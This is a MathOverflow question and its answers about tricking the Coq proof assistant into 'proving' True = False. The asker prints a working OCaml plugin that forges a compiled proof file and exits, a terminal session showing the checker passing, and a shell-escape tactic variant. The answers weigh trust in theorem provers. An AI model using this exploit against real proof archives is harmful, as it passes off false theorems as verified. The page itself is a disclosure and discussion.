14
$\begingroup$

Technically, it is possible to prove anything in Coq proof assistant [1] (on at least Linux) due to a programming feature (or bug). This seems tractable when validating large proofs. Human analysis may catch this.

Question:

What are the consequences of technically proving anything in Coq?

More or less the question had in mind dishonest human provers presenting seemingly valid long computer readable proofs.

Later Coq developers replied `little hack'. I saw no official plans or replies of breaking the well formed proof (possibly because of backward compatibility being priority).

The basic technical details are: Hostile ocaml plugins (possibly disguised as proofs in FILE.v) can generate their own .vo proofs (of trivial statements), thus subverting coqchk, and don't giving a chance of "coqc" to even see the "anything proof". The plugin does this with exit(2) after writing .vo. This scenario seems interesting when validating large archives.

Here is a sample session, including links to full source code:

 joro@j:/tmp/test1$ tar xvf ../proof.tar 
     fib5.v
     bLOB
     joro@j:/tmp/test1$ ls -l
 total 16
 -rwxr-xr-x 1 joro joro 10301 2011-05-03 12:53 bLOB
 -rw-r--r-- 1 joro joro   125 2011-05-03 12:53 fib5.v
 joro@j:/tmp/test1$ coqc fib5.v 
     Trivially true. coqchk may pass
     joro@j:/tmp/test1$ ls -l
 total 24
 -rwxr-xr-x 1 joro joro 10301 2011-05-03 12:53 bLOB
 -rw-r--r-- 1 joro joro    51 2011-05-03 12:55 fib5.glob
 -rw-r--r-- 1 joro joro   125 2011-05-03 12:53 fib5.v
 -rw------- 1 joro joro   812 2011-05-03 12:55 fib5.vo
 joro@j:/tmp/test1$ coqchk fib5
     Welcome to Chicken 8.2pl1 (February 2010)
     [intern /tmp/test1/fib5.vo ... done]
     ...snip...
     Checking library: fib5
     *** vo structure validated ***
       checking cst: <>.fib5.thm1
       checking cst: <>.fib5.really
     Modules were successfully checked
     joro@j:/tmp/test1$cat fib5.v
 Theorem thm1: True.
 Proof.
   auto.
 Qed.
 Declare ML Module "bLOB" .
 Theorem really: True = False.
 Proof.
   intuition.
 Qed.
 #note: there is a zero byte at the end of "bLOB". in addition "bLOB" may be "aux.v" 
 joro@j:/tmp/test1$ coqchk -v
 The Coq Proof Checker, version 8.2pl1 (February 2010)
 compiled on Feb 27 2010 16:09:50

to compile the plugin: ocamlopt -o bLOB -shared a.ml

the plugin writes valid but unrelated .vo proof and then does exit(2) to prevent coqc from analyzing the "anything proof".

a.ml is here. tar with the proof is here

Possibly the most likely exploit scenario is:

Here is a proof of X consisting of about $10^5$ files. lemma2817.v is the plugin and it doesn't stop the final proof.

[1] http://coq.inria.fr/

(crossposted on M.SE)

UPDATE: a.ml (OCAML) here:

    open Printf;;
    (* #load "unix.cma";; *)
    (* compile: ocamlopt -o bLOB -shared a.ml*)
    open Unix;;
    let x = 1 + 2 ;;
    printf "Trivially true. coqchk may pass\n";;
    let fd = Unix.openfile "./fib5.vo" [O_RDWR ; O_CREAT] 0o600 in
    ftruncate fd 0 ;
    write fd "\x00\x00\x20\x08\x84\x95\xa6\xbe\x00\x00\x02\xef\x00\x00\x00\xe6\x00\x00\x02\xbe\x00\x00\x02\x91\xd0\xa0\x24\x66\x69\x62\x35\x40\xc0\x04\x03\xd0\x90\xa2\xb0\x42\x24\x66\x69\x62\x35\x40\xa0\xa0\x24\x74\x68\x6d\x31\x90\xf0\x40\x90\x90\x90\x9c\xa0\xa0\xb0\x90\xa0\x25\x4c\x6f\x67\x69\x63\xa0\x24\x49\x6e\x69\x74\xa0\x23\x43\x6f\x71\x40\x40\x24\x54\x72\x75\x65\x40\x41\x90\x9b\xa0\x04\x0c\x40\x90\x90\x40\x40\x41\x40\xa0\xa0\x26\x72\x65\x61\x6c\x6c\x79\x90\xf0\x40\x90\x90\x90\x9c\xa0\xa0\xb0\x90\xa0\x04\x19\xa0\x04\x18\xa0\x04\x17\x40\x40\x04\x16\x40\x41\x90\x9b\xa0\x04\x08\x40\x90\x90\x40\x40\x41\x40\x40\x40\x40\x40\x40\xa0\xa0\xa0\x2a\x4c\x6f\x67\x69\x63\x5f\x54\x79\x70\x65\xa0\x24\x49\x6e\x69\x74\xa0\x23\x43\x6f\x71\x40\x30\x5f\xb0\x16\xdd\x26\xc4\x94\xf9\x07\x89\x51\x91\x03\xf1\xd3\x06\xa0\xa0\xa0\x27\x50\x72\x65\x6c\x75\x64\x65\xa0\x24\x49\x6e\x69\x74\xa0\x23\x43\x6f\x71\x40\x30\x3f\x7c\xa2\x88\x4a\x72\x6c\x12\x85\x67\x03\x1c\x07\xf8\x24\x86\xa0\xa0\xa0\x27\x54\x61\x63\x74\x69\x63\x73\xa0\x24\x49\x6e\x69\x74\xa0\x23\x43\x6f\x71\x40\x30\x27\xf0\x1f\x3c\xa4\x0a\x05\x89\x0c\xe5\xc4\xb6\x96\xec\x49\x5a\xa0\xa0\xa0\x22\x57\x66\xa0\x24\x49\x6e\x69\x74\xa0\x23\x43\x6f\x71\x40\x30\xb0\xd6\xf6\x26\x6c\xdd\x54\x3f\x23\x97\x33\x9e\xa3\xec\x62\xf1\xa0\xa0\xa0\x25\x50\x65\x61\x6e\x6f\xa0\x24\x49\x6e\x69\x74\xa0\x23\x43\x6f\x71\x40\x30\x07\x94\x7b\x89\xa1\x80\xa3\x50\xc0\x48\x2e\xb7\x0c\x6b\xf3\x1e\xa0\xa0\xa0\x26\x53\x70\x65\x63\x69\x66\xa0\x24\x49\x6e\x69\x74\xa0\x23\x43\x6f\x71\x40\x30\x0d\x59\x83\x8d\x26\x27\x56\x53\x31\x41\x6b\x00\x71\x08\x50\x6b\xa0\xa0\xa0\x29\x44\x61\x74\x61\x74\x79\x70\x65\x73\xa0\x24\x49\x6e\x69\x74\xa0\x23\x43\x6f\x71\x40\x30\xb6\x9e\x13\xbf\x29\x8c\x28\xd9\xe1\x77\xc9\x93\xca\xdf\xae\xfb\xa0\xa0\xa0\x04\x62\xa0\x04\x61\xa0\x04\x60\x40\x30\x10\xcd\x50\xdb\x7b\x31\x4d\xb5\xd1\x18\x3f\x03\x19\xfa\xda\x1d\xa0\xa0\xa0\x29\x4e\x6f\x74\x61\x74\x69\x6f\x6e\x73\xa0\x24\x49\x6e\x69\x74\xa0\x23\x43\x6f\x71\x40\x30\xf0\xb3\xe5\xfb\x02\x4b\x8f\x8c\xdb\x44\x61\x6d\x64\x44\x74\x0c\x40\x40\xb0\x04\x7f\xa0\xa0\x04\x7d\xa0\x28\x43\x4f\x4e\x53\x54\x41\x4e\x54\xb0\x90\x91\xa0\x94\x90\x41\x40\x40\x92\x40\xa0\xa0\x22\x5f\x37\xa0\x29\x49\x4d\x50\x4c\x49\x43\x49\x54\x53\xa0\xa0\xb0\x92\x04\x93\x40\x04\x8f\xe0\x40\x41\x40\x40\x40\x40\xa0\xa0\x91\x04\x06\x40\x40\xa0\xa0\x22\x5f\x38\xa0\x24\x48\x45\x41\x44\xa0\x91\x04\x0d\x90\x90\x04\x0f\xa0\xa0\x22\x5f\x39\xa0\x2f\x41\x52\x47\x55\x4d\x45\x4e\x54\x53\x2d\x53\x43\x4f\x50\x45\xb0\x40\x91\x04\x16\x40\xa0\xa0\x04\x8c\xa0\x04\x28\xb0\x04\x27\x40\x92\x40\xa0\xa0\x23\x5f\x31\x30\xa0\x04\x22\xa0\xa0\xb0\x04\x21\x40\x04\x96\x04\x20\xa0\xa0\x91\x04\x04\x40\x40\xa0\xa0\x23\x5f\x31\x31\xa0\x04\x1f\xa0\x91\x04\x0a\x90\x90\x04\x0c\xa0\xa0\x23\x5f\x31\x32\xa0\x04\x1e\xb0\x40\x91\x04\x12\x40\x40\x40\xa0\xa0\x04\x4f\x04\x49\xa0\xa0\x04\x57\x04\x54\xa0\xa0\x04\x62\x04\x5c\xa0\xa0\x04\x6d\x04\x67\xa0\xa0\x04\x78\x04\x72\xa0\xa0\x04\x83\x04\x7d\xa0\xa0\x04\x8e\x04\x88\xa0\xa0\x04\x99\x04\x93\xa0\xa0\x04\xa4\x04\x9e\x40\xa0\x04\x60\xa0\x04\x70\xa0\x04\x7a\xa0\x04\x84\xa0\x04\x8e\xa0\x04\x98\xa0\x04\xa2\xa0\x04\x6d\xa0\x04\xad\x40\x84\x95\xa6\xbe\x00\x00\x00\x11\x00\x00\x00\x01\x00\x00\x00\x06\x00\x00\x00\x04\x30\x92\x3c\xc2\xa2\xba\xb3\x7b\x2f\x1b\xe7\xea\x03\x44\x0e\x9f\x1b" 0 812 ;
    exit 4 ;;

Update Possibly a more portable solution (Coq):

Theorem really: True = False.
Proof.
  external "/bin/sh" "ESCAPE_SEQ; write_vo_proof; nicely_kill_coq ;" True.
  (* this invokes /bin/sh *)
Qed.

tactic external

Improve this question
$\endgroup$
20
  • $\begingroup$ There is something called HOL Zero which tries to circumvent all methods of deviance. proof-technologies.com/holzero.html $\endgroup$
    – Junkie
    Commented May 3, 2011 at 15:15
  • 10
    $\begingroup$ While the Calculus of Constructions is certainly appropriate material for mathoverflow, this question is relevant only to one specific implementation (Coq). As such, it isn't really a math question (or even a computer science question, for that matter!). Please file a bug on the coq bug tracker. Vote to close. $\endgroup$
    – Adam
    Commented May 3, 2011 at 20:11
  • 8
    $\begingroup$ This question amounts to a quite peculiar use of MO. $\endgroup$
    – Did
    Commented May 3, 2011 at 20:30
  • 4
    $\begingroup$ Didier: you're not the only one who thinks so. Meta thread: tea.mathoverflow.net/discussion/1037/… $\endgroup$
    – Todd Trimble
    Commented May 3, 2011 at 21:04
  • 1
    $\begingroup$ @joro: It depends on the kind of formal logic that it's for. There are various dedicated SAT solvers (for propositional logic only), many are dedicated to first-order logics (I understand that Vampire is supposed to be amongst the best), and then those for more expressive, higher-order logics (like HOL, Isabelle, Coq and PVS). In the hands of a sufficiently expert user, all the main "higher-end" systems can be used very effectively, but the trouble is there are only a handful of "sufficiently expert" users (and I am not one!). I'm afraid I don't know which are powerful but very easy to use. $\endgroup$
    – Mark Adams
    Commented May 6, 2011 at 21:24

2 Answers 2

Reset to default
60
$\begingroup$

For the innocent observers, let me explain what joro did. He has tricked Coq into thinking that True = False is a theorem by providing an external piece of code (i.e., something that Coq does not check but simply loads into memory) that breaks Coq loading mechanism. This of course should not happen, Coq should realize that it's loading corrupted external code.

Thus, we do not have here a straight inconsistency in the Coq theorem prover, but rather a way of breaking Coq through its interaction with the external environment. There are in fact many ways in which this can be done, such as:

  1. Expose the computer to cosmic rays that cause the CPU to malfunction occasionally. (If you think this is a joke you should read what sort of ideas computer security experts have.)
  2. Coq depends on the runtime environment of the operating system and an extensive runtime library (to manipulate memory, strings, to communicate with the user, etc.) which is almost never bug-free. Any such bugs can in principle be used to make Coq think it proved something senseless.
  3. If the CPU has bugs then you cannot trust the execution of any program. (Who remembers the Intel Pentium division bug? Did it stop us from using computers?)
  4. If the compiler which was used to compile Coq has bugs, you cannot trust Coq to work correctly.

These are all valid concerns, some more than others. People put serious thought into making sure that their theorem provers work correctly. In particular, I think there is an ongoing effort to formally prove that the Coq core algorithm does what it is supposed to do. It is hard enough to deal with the core algorithm, let alone consider what happens when people start linking in external libraries.

Now to answer joro: I think you can trust Coq more than you can trust the average mathematician. The biological equivalent of what you did to Coq would be to give a mathematician an illegible photocopy of a paper with results that he relies on to prove theorems. If you want to trust your Coq code then you can take several precautions:

  1. Make sure you do not use any external libraries or experimental features. (You can syntactically check whether the Coq code links in any modules or uses certain experimental features.)
  2. Run your Coq code on several different operating systems.
  3. Run your Coq code on a computer in a vault inside a mountain to prevent cosmic rays from reaching your computer (and don't put any radioactive bananas inside the computer either).
  4. Think about what Coq is proving and see whether it makes sense. After all, your brain is not totally clueless about math and it should be able to assess what level of credence the results deserve. (If you're proving with Coq 30000 small theorems which all look alike that's a different matter. Your brain is useless then.)
  5. Ask other people to prove the same result, but do not tell them how you did it. Compare notes.

Always remember that mathematics (still) is a human activity. Even if we use machines to do it.

Improve this answer
$\endgroup$
20
  • 6
    $\begingroup$ I would never have expected to see "radioactive bananas" in an answer to a MO question :-D +1. $\endgroup$
    – Tom De Medts
    Commented May 4, 2011 at 7:11
  • 4
    $\begingroup$ So you should distrust the dishonest man, not Coq. $\endgroup$
    – Andrej Bauer
    Commented May 4, 2011 at 12:20
  • 10
    $\begingroup$ joro raises a valid vulnerability here, and should be congratulated on finding it. He also asks an extremely valid question about "assuming a dishonest human prover giving Coq proofs ...". If formal proof ever becomes really big, then there will be subcontractors paid to perform it, and realistically there will be some who will try to cheat. Equating such worries with the old chestnut about cosmic rays is sweeping this important issue under the carpet. But read my answer to the following: mathoverflow.net/questions/18421/… $\endgroup$
    – Mark Adams
    Commented May 4, 2011 at 18:41
  • 5
    $\begingroup$ @Mark: I was not trying to equate joro's concern with cosmic rays, I just wanted to point out that there are many ways in which a theorem prover can fail, some of which are caused by Mother Nature. But my main point is that concerns about correctness of formal proofs should always be compared with similar concerns about humans. I don't see anyone on MO asking "What if there are errors in published proofs?" because everyone knows that there are errors in published proofs (probably a great deal many more than we would like to believe). Humans are gregarious animals, we rely on each other, so ... $\endgroup$
    – Andrej Bauer
    Commented May 4, 2011 at 19:20
  • 5
    $\begingroup$ I think we're all mostly agreeing, even though the comments make it look like we are not. I agree with Mark that designers of theorem provers should take correctness very, very seriously. If by some luck of destiny they go mainstream (either in mathematics or in computer science), everyone will accept theorem provers as de facto standard for establishing truth. I think we really want to avoid the situation where someone will be able to sell "theorem prover anti-malware software". I hear there is software for CAD systems that corrects errors in CAD designs that were caused by numerical errors. $\endgroup$
    – Andrej Bauer
    Commented May 6, 2011 at 5:08
6
$\begingroup$

What are the consequences of technically proving anything in Coq?

This is a question in the Coq faq.

Improve this answer
$\endgroup$
1
  • 4
    $\begingroup$ It's good that the Coq FAQ has this list of 5 things that you trust when using Coq, but where in this list is the vulnerability highlighted above by joro? It's not really covered by the second item, "The Coq kernel implementation", because this only talks about mirroring the logic... $\endgroup$
    – Mark Adams
    Commented May 4, 2011 at 18:28

Not the answer you're looking for? Browse other questions tagged .